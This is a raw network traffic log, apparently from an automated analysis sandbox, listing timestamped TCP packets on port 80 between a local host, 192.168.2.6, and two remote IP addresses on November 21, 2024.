Nov 21, 2024 14:11:24.217130899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.217184067 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.217977047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.218146086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.218255997 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.219135046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.219280005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.219330072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.220072985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.220197916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.220307112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.221021891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.221132994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.221221924 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.222157001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.225610971 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.225686073 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.225733995 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.225791931 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.227860928 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.227947950 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.227969885 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.228019953 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.232359886 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.232467890 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.232471943 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.232539892 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.237001896 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.237052917 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.237149954 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.237196922 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.241452932 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.241537094 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.241559029 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.241599083 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.245834112 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.245899916 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.245939016 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.245990992 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.250087976 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.250139952 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.250185966 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.250248909 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.254165888 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.254218102 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.254241943 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.254303932 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.258059025 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.258132935 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.258181095 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.261924028 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.261972904 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.261991978 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.262027979 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.265836000 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.265953064 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.265993118 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.269697905 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.269746065 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.269819975 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.269876003 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.273595095 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.273638964 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.273705006 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.273755074 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.273822069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.277538061 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.277590990 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.277653933 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.277693033 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.281465054 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.281510115 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.281582117 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.281618118 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.285372019 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.285413980 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.285517931 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.285557985 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.289237022 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.289282084 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.289386034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.289628983 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.293158054 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.293258905 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.293334007 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.293334007 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.297023058 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.297080040 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.297126055 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.297169924 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.300949097 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.300987959 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.301017046 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.301052094 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.304848909 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.304928064 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.304997921 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.305044889 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.308765888 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.308780909 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.308824062 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.312659979 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.312772036 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.312836885 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.316538095 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.316591978 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.316658020 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.316879034 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.320436001 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.320508957 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.320540905 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.320631981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.324393034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.324440956 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.324456930 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.324490070 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.328206062 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.328289986 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.328298092 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.328340054 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.332175970 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.332274914 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.332276106 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.332380056 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.336045980 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.336103916 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.336245060 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.336304903 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.339945078 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.339987040 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.340013027 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.340054989 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.343955040 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.344022989 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.344110966 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.344218969 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.348360062 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.348433971 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.354310036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.354377985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.354434967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.354830980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.355057001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.355098963 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.355196953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.356266022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.356312037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.356322050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.357351065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.357438087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.357487917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.358489037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.358560085 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.358586073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.359596968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.359689951 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.359715939 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.360810995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.360929012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.360989094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.361922979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.361979008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.362082958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.363029957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.363151073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.363233089 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.364193916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.364237070 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.364252090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.365298033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.365391970 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.365467072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.366506100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.366558075 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.366600990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.367635012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.367692947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.367750883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.368731976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.368777990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.368834019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.369848013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.369889975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.369962931 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.370985031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.371036053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.371085882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.372118950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.372160912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.372184992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.373287916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.373301029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.373378992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.374385118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.374447107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.374524117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.375595093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.375639915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.375699997 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.376709938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.376768112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.376785040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.377805948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.377867937 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.377896070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.378936052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.378981113 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.379062891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.380110979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.380206108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.380228996 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.381239891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.381369114 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.381388903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.382337093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.382447958 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.382502079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.383574009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.383615017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.383724928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.384747982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.384757996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.384839058 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.385770082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.385870934 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.385910034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.387026072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.387068033 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.387150049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.388113022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.388233900 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.388279915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.389153957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.389219046 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.389257908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.390310049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.390372038 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.390378952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.391479969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.391565084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.391583920 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.392577887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.392685890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.392705917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.393711090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.393764019 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.393815041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.394851923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.394948006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.394969940 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.395976067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.396086931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.396140099 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.397150993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.397208929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.397229910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.398260117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.398292065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.398364067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.399389029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.399442911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.399507999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.400562048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.400646925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.400655985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.401662111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.401704073 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.401715994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.402818918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.402981997 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.403052092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.403950930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.403995991 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.404005051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.405091047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.405131102 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.405210972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.406240940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.406317949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.406342030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.407407999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.407474041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.407517910 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.408493042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.408541918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.408580065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.409646034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.409703016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.409802914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.410768032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.410870075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.410888910 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.411897898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.411946058 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.411984921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.413057089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.413160086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.413229942 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.417486906 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.417505026 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.417558908 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.417558908 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.419399023 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.419457912 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.420078039 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.420170069 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.420243025 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.424010038 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.424069881 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.424102068 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.424150944 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.461239100 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.535643101 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.535845995 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.536533117 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.536607981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.536694050 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.536765099 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.540486097 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.540600061 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.540613890 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.540708065 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.547847033 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.547859907 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.547964096 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.548216105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.548228025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.548239946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.548253059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.548340082 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.548340082 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.549596071 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.549773932 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.549787998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.549798965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.549838066 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.550129890 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.552187920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.552337885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.552459002 CET	49903	80	192.168.2.6	34.116.198.130
